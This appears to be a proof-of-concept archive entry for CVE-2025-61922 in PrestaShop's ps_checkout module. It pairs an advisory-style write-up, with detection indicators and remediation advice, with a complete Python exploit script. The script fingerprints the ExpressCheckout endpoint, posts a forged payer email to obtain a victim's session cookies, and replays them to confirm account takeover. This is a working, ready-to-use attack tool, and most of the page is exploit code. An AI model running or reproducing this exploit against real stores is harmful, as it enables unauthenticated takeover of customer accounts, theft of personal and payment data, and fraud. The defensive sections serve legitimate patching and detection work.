PoC Archive PoC Archive
Critical CVE-2025-61922 unpatched

PrestaShop Checkout Zero-Click Account Takeover via ExpressCheckout Endpoint (CVE-2025-61922)

by g0vguy (script author credited as "S 1 D E R") · 2026-07-06

CVSS 9.1/10
Severity
Critical
CVE
CVE-2025-61922
Category
web
Affected product
PrestaShop Checkout module (ps_checkout)
Affected versions
Below 5.0.5
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07
Author / Researcherg0vguy (script author credited as “S 1 D E R”)
CVE / AdvisoryCVE-2025-61922
Categoryweb
SeverityCritical
CVSS Score9.1
StatusPoC
Tagsprestashop, ps_checkout, account-takeover, express-checkout, paypal, zero-click, session-hijacking, e-commerce, cwe-287
RelatedN/A

Affected Target

FieldValue
Software / SystemPrestaShop Checkout module (ps_checkout)
Versions AffectedBelow 5.0.5
Language / PlatformPHP (PrestaShop module), PoC written in Python
Authentication RequiredNo (unauthenticated)
Network Access RequiredYes (HTTP POST to the PrestaShop storefront)

Summary

The PrestaShop Checkout module exposes an ExpressCheckout endpoint (/module/ps_checkout/ExpressCheckout) that is meant to handle PayPal Express Checkout order confirmation callbacks. Versions of the module prior to 5.0.5 fail to properly verify that the caller is actually authorized to act as the paying customer before establishing a session. An unauthenticated attacker can POST a JSON payload referencing an arbitrary victim email address as the PayPal payer, and the endpoint responds by establishing (and returning, via Set-Cookie) a logged-in session for that customer account — a true zero-click account takeover requiring only knowledge of the victim’s email address.


Vulnerability Details

Root Cause

The ExpressCheckout handler trusts the order.payer.email_address field supplied in the client-controlled JSON body to identify which customer account to authenticate as, without validating that the request actually originated from a legitimate, verified PayPal transaction tied to that customer. Because the order ID (orderID) is not meaningfully validated either (the PoC uses the placeholder value "1" for any request), the module ends up performing an authentication/session-issuance action driven entirely by attacker-supplied identity data.

Attack Vector

  1. Attacker sends an unauthenticated POST request to /module/ps_checkout/ExpressCheckout on the target PrestaShop store.
  2. The JSON body includes a payer.email_address field set to the victim’s known email address:
    1
    2
    3
    4
    5
    6
    7
    8
    
    {
      "orderID": "1",
      "order": {
        "payer": {
          "email_address": "victim@example.com"
        }
      }
    }
    
  3. The vulnerable endpoint processes this as if it were a legitimate PayPal Express Checkout callback for that customer and returns Set-Cookie headers containing a valid, authenticated PrestaShop session for the victim’s account (the PoC notes this can occur even alongside an HTTP 500 response).
  4. The attacker replays the captured session cookie against the store (e.g., /my-account) to confirm full access to the victim’s account — order history, saved addresses, payment details, etc.

Impact

Complete, unauthenticated takeover of any customer account on a vulnerable PrestaShop store given only the victim’s email address — no password, OTP, or prior interaction from the victim required. This exposes personal data, order/payment history, and saved addresses, and could be leveraged for fraud (e.g., placing orders using stored payment methods, harvesting PII at scale by iterating known/leaked email addresses).


Environment / Lab Setup

Target:   PrestaShop store with ps_checkout (PrestaShop Checkout) module < 5.0.5 installed and enabled
Attacker: Any host capable of issuing raw HTTP requests (Python 3 + `requests` library used by the PoC)

Proof of Concept

PoC Script

See CVE-2025-61922.py in this folder.

1
2
3
4
5
python CVE-2025-61922.py check --url http://target-shop.com

python CVE-2025-61922.py takeover --url http://target-shop.com --email victim@example.com

python CVE-2025-61922.py test --url http://target-shop.com --cookies "PrestaShop-abc123=..."

The script has three subcommands:

  • check — sends an OPTIONS request to /module/ps_checkout/ExpressCheckout and inspects the Allow header / status code to fingerprint whether the vulnerable endpoint is present.
  • takeover — POSTs the crafted JSON payload (with the victim’s email as the PayPal payer) and inspects the response for Set-Cookie session cookies.
  • test — replays a captured cookie string against /my-account and checks the response body for authenticated-session indicators (“My account”, “Order history”, “Sign out”, “Logout”) to confirm the takeover succeeded.

Detection & Indicators of Compromise

Signs of compromise:

  • Requests to /module/ps_checkout/ExpressCheckout from IPs/User-Agents inconsistent with PayPal’s callback infrastructure
  • Set-Cookie responses issued from ExpressCheckout for orderID values that do not correspond to real, in-progress orders
  • Customer account activity (logins, order views) not preceded by a normal login flow for that account

Remediation

ActionDetail
Primary fixUpdate the PrestaShop Checkout (ps_checkout) module to version 5.0.5 or later, which validates that ExpressCheckout callbacks correspond to a real, verified PayPal transaction before issuing a session
Interim mitigationDisable/restrict the ps_checkout ExpressCheckout endpoint until patched; monitor for anomalous requests to /module/ps_checkout/ExpressCheckout; force re-authentication for sensitive account actions (payment methods, address changes)

References


Notes

Mirrored from https://github.com/g0vguy/CVE-2025-61922-PoC on 2026-07-06.

CVE-2025-61922.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
#!/usr/bin/env python3
"""
CVE-2025-61922 - Zero-click Account Takeover in PrestaShop Checkout < 5.0.5
Author: S 1 D E R
"""

import requests
import json
import argparse
import sys
from urllib.parse import urljoin
from typing import Optional, Dict, Any

def check_vulnerability(target_url: str, proxy: Optional[str] = None, 
                       timeout: int = 30, verify_ssl: bool = True) -> bool:
    session = requests.Session()
    
    # Configure proxy if provided
    if proxy:
        session.proxies = {
            'http': proxy,
            'https': proxy
        }
    
    session.verify = verify_ssl
    session.headers.update({
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Accept': 'application/json, text/plain, */*'
    })
    
    endpoint = "/module/ps_checkout/ExpressCheckout"
    test_url = urljoin(target_url, endpoint)
    
    print(f"[*] Testing: {test_url}")
    
    try:
        response = session.options(test_url, timeout=timeout)
        
        if 'POST' in response.headers.get('Allow', ''):
            print("[+] Target appears VULNERABLE (endpoint accepts POST requests)")
            return True
        elif response.status_code == 405:  # Method Not Allowed
            print("[+] Target appears VULNERABLE (endpoint exists but rejects OPTIONS)")
            return True
        else:
            print(f"[-] Target may not be vulnerable (HTTP {response.status_code})")
            return False
            
    except requests.exceptions.ConnectionError:
        print("[-] Connection failed - check URL and network")
        return False
    except requests.exceptions.Timeout:
        print("[-] Request timeout")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def exploit_takeover(target_url: str, email: str, proxy: Optional[str] = None,
                    timeout: int = 30, verify_ssl: bool = True) -> Optional[Dict[str, Any]]:
    session = requests.Session()
    
    if proxy:
        session.proxies = {
            'http': proxy,
            'https': proxy
        }
    
    session.verify = verify_ssl
    session.headers.update({
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    })
    
    endpoint = "/module/ps_checkout/ExpressCheckout"
    exploit_url = urljoin(target_url, endpoint)
    
    payload = {
        "orderID": "1",  # Can be any value, just needs to exist
        "order": {
            "payer": {
                "email_address": email
            }
        }
    }
    
    print(f"[*] Attempting account takeover for: {email}")
    print(f"[*] Payload: {json.dumps(payload, indent=2)}")
    
    try:
        response = session.post(
            exploit_url,
            json=payload,
            timeout=timeout,
            allow_redirects=False
        )
        
        result = {
            'success': False,
            'status_code': response.status_code,
            'cookies': {},
            'headers': dict(response.headers),
            'response_preview': response.text[:500] if response.text else ''
        }
        
        if 'set-cookie' in response.headers:
            cookie_header = response.headers['set-cookie']
            cookies = {}
            for cookie_part in cookie_header.split(','):
                if '=' in cookie_part:
                    key_val = cookie_part.split(';')[0].strip()
                    if '=' in key_val:
                        key, value = key_val.split('=', 1)
                        cookies[key] = value
            
            result['cookies'] = cookies
            
            if response.status_code == 500 and cookies:
                result['success'] = True
                result['message'] = "Vulnerable! Got session cookies despite 500 error."
            elif response.status_code == 200:
                result['success'] = True
                result['message'] = "Possible success - check response for session data"
            else:
                result['message'] = f"Got HTTP {response.status_code}"
        
        return result
        
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return None

def test_cookies(target_url: str, cookies_str: str, proxy: Optional[str] = None,
                timeout: int = 30, verify_ssl: bool = True) -> bool:
    session = requests.Session()
    
    if proxy:
        session.proxies = {
            'http': proxy,
            'https': proxy
        }
    
    session.verify = verify_ssl

    for cookie_pair in cookies_str.split(';'):
        cookie_pair = cookie_pair.strip()
        if '=' in cookie_pair:
            name, value = cookie_pair.split('=', 1)
            session.cookies.set(name.strip(), value.strip())
    
    test_url = urljoin(target_url, "/my-account")
    
    print(f"[*] Testing cookies against: {test_url}")
    
    try:
        response = session.get(test_url, timeout=timeout)
        
        if response.status_code == 200:
            indicators = [
                "My account",
                "Order history",
                "Sign out",
                "Logout"
            ]
            
            for indicator in indicators:
                if indicator in response.text:
                    print(f"[+] SUCCESS! Found '{indicator}' in response.")
                    return True
            
            print("[-] Got 200 but no clear login indicators found")
            return False
        else:
            print(f"[-] Got HTTP {response.status_code} - likely not authenticated")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-61922 - PrestaShop Checkout Account Takeover",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s check --url http://target-shop.com
  %(prog)s takeover --url http://target-shop.com --email victim@example.com
  %(prog)s test --url http://target-shop.com --cookies "PrestaShop-abc=123"
        """
    )
    
    subparsers = parser.add_subparsers(dest='command', help='Command to execute')
    subparsers.required = True
    
    check_parser = subparsers.add_parser('check', help='Check if target is vulnerable')
    check_parser.add_argument('--url', required=True, help='Target PrestaShop URL')
    
    takeover_parser = subparsers.add_parser('takeover', help='Attempt account takeover')
    takeover_parser.add_argument('--url', required=True, help='Target PrestaShop URL')
    takeover_parser.add_argument('--email', required=True, help='Victim email address')
    
    test_parser = subparsers.add_parser('test', help='Test captured cookies')
    test_parser.add_argument('--url', required=True, help='Target PrestaShop URL')
    test_parser.add_argument('--cookies', required=True, help='Session cookies to test')
    
    for subparser in [check_parser, takeover_parser, test_parser]:
        subparser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
        subparser.add_argument('--timeout', type=int, default=30, 
                              help='Request timeout in seconds (default: 30)')
        subparser.add_argument('--no-verify', action='store_true',
                              help='Disable SSL certificate verification')
    
    args = parser.parse_args()
    
    if args.no_verify:
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    if args.command == 'check':
        is_vulnerable = check_vulnerability(
            target_url=args.url,
            proxy=args.proxy,
            timeout=args.timeout,
            verify_ssl=not args.no_verify
        )
        
        if is_vulnerable:
            print("\n[!] WARNING: Target appears vulnerable to CVE-2025-61922")
        else:
            print("\n[-] Target does not appear vulnerable (or endpoint not found)")
        
        sys.exit(0 if is_vulnerable else 1)
    
    elif args.command == 'takeover':
        result = exploit_takeover(
            target_url=args.url,
            email=args.email,
            proxy=args.proxy,
            timeout=args.timeout,
            verify_ssl=not args.no_verify
        )
        
        if result:
            print(f"\n[*] HTTP Status: {result['status_code']}")
            
            if result['success']:
                print("[+] SUCCESS! Account takeover appears to have worked.")
                
                if result['cookies']:
                    print("[+] Captured cookies:")
                    for name, value in result['cookies'].items():
                        print(f"    {name}: {value}")
                    
                    # Format for easy copying
                    cookie_str = '; '.join([f"{k}={v}" for k, v in result['cookies'].items()])
                    print(f"\n[*] Cookie string for testing:")
                    print(f"    {cookie_str}")
            else:
                print("[-] Account takeover may have failed.")
                
                if result.get('message'):
                    print(f"[-] {result['message']}")
        else:
            print("[-] Exploit attempt failed completely")
            sys.exit(1)
    
    elif args.command == 'test':
        success = test_cookies(
            target_url=args.url,
            cookies_str=args.cookies,
            proxy=args.proxy,
            timeout=args.timeout,
            verify_ssl=not args.no_verify
        )
        
        if success:
            print("[+] Cookies appear to provide valid session access!")
            print("[!] This confirms the vulnerability was successfully exploited.")
        else:
            print("[-] Cookies do not appear to provide valid access")
            print("[-] They may have expired, or the exploit didn't work as expected")

if __name__ == "__main__":
    main()